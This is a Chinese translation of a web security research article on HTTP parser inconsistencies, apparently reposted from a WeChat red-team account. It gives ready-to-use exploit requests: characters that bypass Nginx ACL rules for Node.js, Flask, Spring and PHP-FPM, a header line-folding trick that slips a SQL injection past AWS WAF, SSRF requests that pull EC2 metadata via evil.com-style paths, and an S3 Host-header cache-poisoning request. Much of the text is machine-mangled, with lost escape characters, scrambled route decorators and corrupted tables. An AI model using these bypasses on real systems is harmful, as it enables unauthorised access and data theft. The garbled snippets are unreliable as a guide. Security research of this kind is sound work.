HTTP 协议在 Web 应用程序的无缝运行中发挥着至关重要的作用,但是,跨不同技术的 HTTP 解析器的实现可能会引入细微的差异,从而导致潜在的安全漏洞。
在这项研究中,我的重点是发现跨各种 Web 技术的 HTTP 解析器内的不一致,包括负载均衡器、反向代理、Web 服务器和缓存服务器。
路径名操纵:绕过反向代理和负载均衡器安全规则
本部分研究重点关注 Web 服务器中的路径名操作所产生的可利用漏洞,主要涉及trim()或strip()函数的使用。通过利用这些技术,攻击者可以规避反向代理和负载均衡器中特定路径的安全规则,从而对 Web 应用程序安全构成重大威胁。
在本节中,我们将深入研究 Web 服务器如何处理和操作路径名的复杂性,调查删除某些字符的影响,这可能会导致意外行为。
Nginx ACL 规则
Nginx 是一个强大的 Web 服务器和反向代理,允许开发人员对 HTTP 请求应用安全规则。本节探讨 Nginx 重写或阻止 HTTP 消息功能的安全线程,主要关注由 HTTP 路径名部分中的特定字符串或正则表达式触发的规则。
在 Nginx 中,“位置”规则使开发人员能够根据请求的 URL 定义特定的指令和行为。此规则充当路由和处理传入 HTTP 请求的关键组件,允许控制不同 URL 的处理方式。
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
上述 Nginx 规则旨在拒绝对/admin端点的所有访问,因此如果用户尝试访问此端点,Nginx 将返回403并且不会将 HTTP 消息传递到 Web 服务器。
为了防止基于 URI 的规则出现安全问题,Nginx 在检查它们之前执行路径规范化。Nginx 中的路径规范化是指在处理请求的 URL 之前将其转换和标准化为一致且规范的格式的过程。它涉及从 URL 路径中删除冗余或不必要的元素,例如额外的斜杠、点段、处理路径遍历和 URL 编码字符,以确保 Web 服务器内的一致性和正确路由。
不一致的地方
在继续之前,我们需要了解该trim()函数在不同语言中的作用。
不同的语言在调用相应的函数时删除不同的字符trim()。每个服务器将根据其规范化路径名trim(),删除不同的字符。但是Nginx是用C编写的,并不能涵盖所有语言的所有字符。
x85例如:Python 删除带有 的字符strip(),而 JavaScript 则不删除带有 的字符trim()。
如果使用不同语言的函数解析 HTTP 消息trim(),则可能会发生 HTTP Desync 攻击。
使用 Node.js 绕过 Nginx ACL 规则
让我们考虑以下使用 Express 的 Nginx ACL 规则和 Node.js API 源代码:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
(req, res) => {
return res.send('ADMIN');
});
按照逻辑,Node.js“忽略”路径名中的trim()字符x09、xa0和,但 Nginx 将它们视为 URL 的一部分:x0c
首先,Nginx接收HTTP请求,并对路径名进行路径规范化;
由于 Nginx 包含该字符作为路径名的一部分,因此不会触发 URIxa0的 ACL 规则。/admin因此,Nginx会将HTTP消息转发给后端;
/adminx0a当Node.js 服务器收到URI 时,该字符xa0将被删除,从而允许成功检索端点/admin。
下面是 HTTP 请求所发生情况的图形演示:
为了更清楚地了解如何利用此漏洞,我建议观看下面随附的概念验证视频:
下表将 Nginx 版本与使用 Node.js 作为后端时可能导致绕过 URI ACL 规则的字符相关联:
Nginx 版本 |
Node.js 绕过字符 |
1.22.0 |
xA0 |
1.21.6 |
xA0 |
1.20.2 |
xA0, x09,x0C |
1.18.0 |
xA0, x09,x0C |
1.16.1 |
xA0, x09,x0C |
使用 Flask 绕过 Nginx ACL 规则
Flask 从 URL 路径中删除字符x85, xA0, x1F, x1E, x1D, x1C, x0C, x0B, 和x09,但 NGINX 不会。
参考以下nginx配置/API源码:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
'/admin', methods = ['GET']) .route(
def admin():
data = {"url":request.url, "admin":"True"}
return Response(str(data), mimetype="application/json")
如下所示,可以通过x85在路径名末尾添加字符来规避 ACL 保护:
Nginx 版本 |
Flask 绕过字符 |
1.22.0 |
x85,xA0 |
1.21.6 |
x85,xA0 |
1.20.2 |
x85,,,,,,,,,, xA0_ x1F_ x1E_ x1D_ x1C_ x0C_x0B |
1.18.0 |
x85,,,,,,,,,, xA0_ x1F_ x1E_ x1D_ x1C_ x0C_x0B |
1.16.1 |
x85,,,,,,,,,, xA0_ x1F_ x1E_ x1D_ x1C_ x0C_x0B |
使用 Spring Boot 绕过 Nginx ACL 规则
Spring 会从 URL 路径中删除字符x09和x3B,但 Nginx 不会。
参考以下Nginx配置/API源码:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
public String admin() {
return "Greetings from Spring Boot!";
}
下面,您将看到如何通过在路径名末尾添加字符x09或来规避 ACL 保护的演示:t
Nginx 版本 |
Spring Boot 绕过字符 |
1.22.0 |
; |
1.21.6 |
; |
1.20.2 |
x09,; |
1.18.0 |
x09,; |
1.16.1 |
x09,; |
通过 PHP-FPM 集成绕过 Nginx ACL 规则
PHP-FPM(FastCGI 进程管理器)是一个强大且高性能的 PHP FastCGI 实现,可与 Nginx 无缝协作。它作为一个独立的服务器来处理 PHP 请求,提高 PHP 执行的速度和效率。Nginx 充当反向代理,接收传入的 HTTP 请求并将其传递给 PHP-FPM 进行处理。
让我们考虑以下 Nginx FPM 配置:
location = /admin.php {
deny all;
}
location ~ .php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
当两个.php文件位于 HTTP 请求的同一路径名中时,PHP 将匹配第一个文件,忽略斜杠之后的所有内容。由于 Nginx 配置为阻止对特定端点的请求/admin.php,因此可以通过执行以下请求来访问 admin.php 文件:
下面是应用程序如何解释 HTTP 请求的图形示例:
仅当第二个 PHP 文件(在本例中为 )index.php存在于服务器结构中时,此技术才有效。参考以下服务器代码/结构:
如何预防
为了防止这些问题,您必须使用~表达式而不是=Nginx ACL 规则上的表达式,例如:
location ~ /admin {
deny all;
}
该~表达式匹配路径名任意部分的字符串/admin,换句话说,如果用户向 发送请求/admin1337,该请求也会被阻止。
绕过AWS WAF ACL
AWS WAF ACL 的工作原理
AWS ACL(访问控制列表)规则是负载均衡器的一个组件,提供对传入和传出网络流量的控制。这些规则根据指定条件定义访问权限,允许或拒绝来自负载均衡器的请求。
您可以配置 AWS Web Application Firewall (WAF) ACL 来检查和验证 HTTP 标头。AWS WAF ACL 规则允许您根据特定标头属性或值定义条件,从而使您能够控制和过滤传入请求。
标头 ACL 示例:
在上面的示例中,如果请求标头中包含 SQL 注入负载X-Query,则 AWS WAF 会识别 SQL 注入尝试并使用403 ForbiddenHTTP 状态代码进行响应。这可以防止请求转发到后端,从而有效阻止通过 SQL 注入攻击对应用程序数据库的任何潜在利用。
如您所见,上述请求' or '1'='1' --在X-Query标头处携带了有效负载,然后被AWS WAF阻止。
使用行折叠绕过 AWS WAF ACL
Node.js、Flask 等 Web 服务器有时会遇到一种称为“行折叠”的现象。行折叠是指使用字符 x09(制表符)和 x20(空格)将长标头值拆分为多行以提高可读性的做法。但是,这种行为可能会导致兼容性问题和潜在的安全漏洞。
例如,1337: Valuernt1337以下请求中的标头将被解释为1337: Valuet1337Node.js 服务器中的标头:
GET / HTTP/1.1
Host: target.com
1337: Value
1337
Connection: close
了解了这一点后,我发现可以通过使用行折叠行为来绕过 AWS WAF。
使用保护 SQL 注入有效负载免受 SQL 注入负载影响的相同 AWS WAF X-Query,使用以下 HTTP 请求来确认 Node.js 服务器收到标头' or '1'='1' --中的有效负载X-Query。
下面是应用程序如何通过行折叠解释 HTTP 请求标头的图形示例:
对于利用场景,我们可以参考以下Node.js源码。它将返回请求的标头作为 Json:
app.get('/*', (req, res) => {
res.send(req.headers);
});
以下是利用请求的示例:
GET / HTTP/1.1rn
Host: target.comrn
X-Query: Valuern
t' or '1'='1' -- rn
Connection: closern
rn
在提供的屏幕截图中,很明显 Node.js 应用程序将字符解释' or '1'='1' --为标头的值X-Query。但是,AWS WAF 将其视为标头名称。
错误的路径解析导致服务端请求伪造
在前面的部分中,我提供了对信任反向代理持谨慎态度的理由。然而,在本节中,我将演示为什么使用反向代理可能是有利的......
在本节中,我将利用不正确的路径名解释来利用流行服务器和框架(例如 Spring Boot、Flask 和 PHP)中的服务器端请求伪造漏洞。
通常,有效的 HTTP 路径名以/或开头http(s)://domain/,但大多数流行的 WEB 服务器无法正确验证它,这可能会导致安全风险。
Flask 上的 SSRF 通过不正确的路径名解释
Flask 是一个轻量级的 Python Web 框架,它提供了一种简单而灵活的 Web 开发方法。
在对 Flask 的路径名解析进行测试后,我发现它接受了某些不应该接受的字符。例如,以下应被视为无效的 HTTP 请求令人惊讶地被框架视为有效,但服务器响应404 Not Found:
GET @/ HTTP/1.1
Host: target.com
Connection: close
在调查这种行为如何可能导致安全漏洞时,我发现了一篇有用的Medium 博客文章,其中演示了如何使用 Flask 框架创建代理。以下是博客文章中提供的代码示例:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
'/', defaults={'path': ''}) .route(
'/') .route(
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
我的第一个想法是:“如果开发人员忘记在变量中添加最后一个斜杠怎么办 SITE_NAME ? ”。是的,它可以导致 SSRF。
由于 Flask 还允许 后的任何 ASCII 字符@,因此在连接恶意路径名和目标服务器后可以获取任意域。
请考虑以下源代码作为利用场景的参考:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com'
'/', defaults={'path': ''}) .route(
'/') .route(
def proxy(path):
return get(f'{SITE_NAME}{path}').content
if __name__ == "__main__":
app.run(threaded=False)
下面提供了一个利用请求的示例:
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
在以下示例中,我能够获取我的 EC2 元数据:
Spring Boot 上的 SSRF 通过不正确的路径名解释
在发现 Flask 中存在 SSRF 漏洞后,我深入研究了如何在其他框架中利用此行为。随着我研究的进展,很明显 Spring Boot 也容易受到这个特定问题的影响。
当应用程序解析 Matrix 参数时,身份验证绕过、ACL 绕过和路径遍历是已知向量。Servlet 矩阵参数是 Servlet 规范中引入的一项功能,允许您提取和处理 URL 路径中存在的其他数据。与由字符分隔的查询参数不同,矩阵参数由URL 中的字符?分隔。;
;在研究过程中,我发现 Spring 框架接受HTTP 路径名的第一个斜杠之前的矩阵参数分隔符:
GET ;1337/api/v1/me HTTP/1.1
Host: target.com
Connection: close
如果开发人员实现的服务器端请求利用请求的完整路径名来获取端点,则可能会导致服务器端请求伪造(SSRF)的出现。
请考虑以下源代码作为利用场景的参考:
上面的代码片段利用HttpServletRequestAPI 通过函数检索请求的 URL getRequestURI()。随后,它将请求的 URI 与目标端点ifconfig.me连接起来。
考虑到 Spring 允许在 Matrix 参数分隔符后面添加任何字符,因此也可以使用该@字符来获取任意端点。
下面是利用请求的示例:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
PHP 内置 Web 服务器案例研究 - 通过不正确的路径名解释实现 SSRF
PHP 内置 Web 服务器也存在同样的漏洞。尽管如此,内置服务器并未在生产环境中使用,因此我决定将这种行为作为案例研究来呈现,而在实际应用程序中不太可能发生。
*令人惊讶的是,PHP 允许在路径名中第一个斜杠之前使用星号字符,并且在星号和第一个斜杠之间,几乎所有 ASCII 字符都被接受为有效的 HTTP 请求。
然而,PHP 存在两个限制:
1.该技术只能用于根路径名/,不能应用于其他端点,换句话说,易受攻击的代码必须在文件中index.php;
2.第一个斜杠之前不允许使用点.,这限制了包含任意 IP 和域,为了规避它,有效负载必须包含恶意域的无点十六进制编码的 IP 地址。
让我们考虑一下针对此利用场景的以下 PHP 代码:
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];
$proxy_site = $site.$current_uri;
var_dump($proxy_site);
echo "nn";
$response = file_get_contents($proxy_site);
var_dump($response);
提供的代码使用 检索 HTTP 请求路径名$_SERVER['REQUEST_URI']并将其与目标域连接起来。
要执行 IP 地址无点十六进制编码,您可以使用工具ip-encoder.py。
用于利用获取 EC2 元数据的结果有效负载如下:
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
在以下概念证明中,我成功检索了我的 EC2 元数据:
如何预防
将 URL 域与用户输入连接时,始终使用完整的 URL 域至关重要。例如,确保在域名后面添加尾部斜杠,例如http://ifconfig.me/.
利用有效处理 HTTP 请求的反向代理。通常,只有在使用框架且没有任何额外的反向代理来验证 HTTP 路径名的情况下,才会出现上述漏洞。换句话说,合并反向代理可以显着增强 Web 应用程序的安全性。
HTTP 异步缓存中毒攻击
在解释头名称之前从头名称中删除无效的不可见字符时,服务器和反向代理之间存在不一致。这种不一致可能会导致显着的漏洞,例如 HTTP 请求走私。但在本节中,我将讨论我在研究过程中发现的一个漏洞和技术,它将异步攻击与缓存中毒相结合,这会在与 AWS S3 存储桶集成时影响缓存服务器。
但在我们继续之前,我们必须了解缓存服务器的一些功能。
缓存键
缓存键是缓存服务器用来存储和检索缓存数据的唯一标识符,它们充当允许访问缓存内容的引用或标签。
最常用的缓存键通常源自 URL 的路径名。当用户向使用缓存的服务器发送请求时,缓存服务器使用所请求的 URL 来定位相应的缓存响应,以返回给用户。
除了 URL 的路径名之外,另一个默认缓存键是 Host 标头。让我们考虑一个场景,其中缓存的 JavaScript 文件位于https://target.com/static/main.js. 当用户向此缓存的 URL 发送 HTTP 请求时,缓存服务器将返回存储的响应,而无需将请求转发到后端服务器。
但是,如果用户向同一端点发送 HTTP 请求,但将 Host 标头修改为,则缓存服务器将尝试使用Host 标头1337.target.com检索该 URL 相应响应的后端。随后,它将专门针对该特定 HTTP 消息生成存储的响应。/static/main.js1337.target.com
S3 HTTP 异步缓存中毒问题
在本节中,我将演示一个 HTTP 异步漏洞,该漏洞可能导致缓存中毒,主要影响 AWS S3 存储桶。
在 Amazon AWS S3 存储桶中,主机标头在将请求路由到正确的存储桶以及实现对存储内容的正确访问方面发挥着至关重要的作用。与 S3 存储桶交互时,主机标头有助于将请求定向到 AWS 基础设施内的适当终端节点。
当向 S3 存储桶发出请求时,AWS 基础设施会检查主机标头以确定目标存储桶。因此,如果用户向域发送 HTTP 请求,your.s3.amazonaws.com但在内部将主机标头更改为my.s3.amazonaws.com,AWS 将“忽略”域名,仅获取主机标头中指定的存储桶。这是云服务的常见做法。
漏洞
S3 存储桶的主机标头的解释涉及两个关键方面:
1.当请求中包含多个主机标头时,仅采用第一个标头,任何其他标头都将被忽略。
2.如果标头名称中存在以下字节,则将被忽略:x1f, x1d, x0c, x1e, x1c, x0b;
该漏洞是由于主机标头解释不一致而引起的。如果缓存服务器错误地将忽略的字节作为标头名称的一部分,将其视为无效的主机标头,而 S3 将其解释为有效的主机标头,则可以在易受攻击的网站上缓存任意存储桶响应。
此行为允许在易受攻击的网站中缓存任意 S3 存储桶内容。
考虑以下利用请求:
GET / HTTP/1.1
[x1d]Host: evilbucket.com
Host: example.bucket.com
Connection: close
首先,缓存服务器检查标头x1dHost: evilbucket.com并将其视为任何其他未加密的标头;
随后,缓存服务器将正确地将example.bucket.com标头解释为有效的主机标头,从而导致最终的缓存响应与该主机值相关联。
到达 S3 存储桶后,标头x1dHost: evilbucket.com将被错误地解释为有效的主机标头,而预期的Host: example.bucket.com标头将被忽略。AWS 的这种误解将导致获取恶意标头的关联存储桶。
最终结果是任意内容的页面完全缓存中毒。
概念验证视频演示了在过时的 Varnish 缓存服务器中利用此漏洞的情况。需要注意的是,较新版本的 Varnish 不易受到此漏洞的影响:
除了 Varnish 之外,Akamai 等其他缓存服务器也容易受到此问题的影响。不过,需要注意的是,该漏洞已得到解决,并且目前无法在任何 AWS 服务上重现。
结论
总之,这项研究深入研究了 Web 应用程序中的安全漏洞领域,特别关注 HTTP 解析器及其对整体安全性的影响。通过探索各种技术(例如负载均衡器、反向代理、Web 服务器和缓存服务器)中 HTTP 解析器的不一致性,我揭示了潜在的利用途径。
我演示了某些行为(例如路径规范化和接受特殊字符)如何导致绕过安全规则,甚至为服务器端请求伪造 (SSRF) 和缓存中毒漏洞打开大门。
此外,我还强调了利用反向代理有效验证和清理 HTTP 请求的重要性。实施强大的反向代理可以在恶意请求到达后端服务器之前拦截和过滤恶意请求,从而显着增强 Web 应用程序的安全状况。
原文始发于微信公众号(红队笔记录):探秘HTTP解析器的黑暗面:如何利用不一致性制造网络安全漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论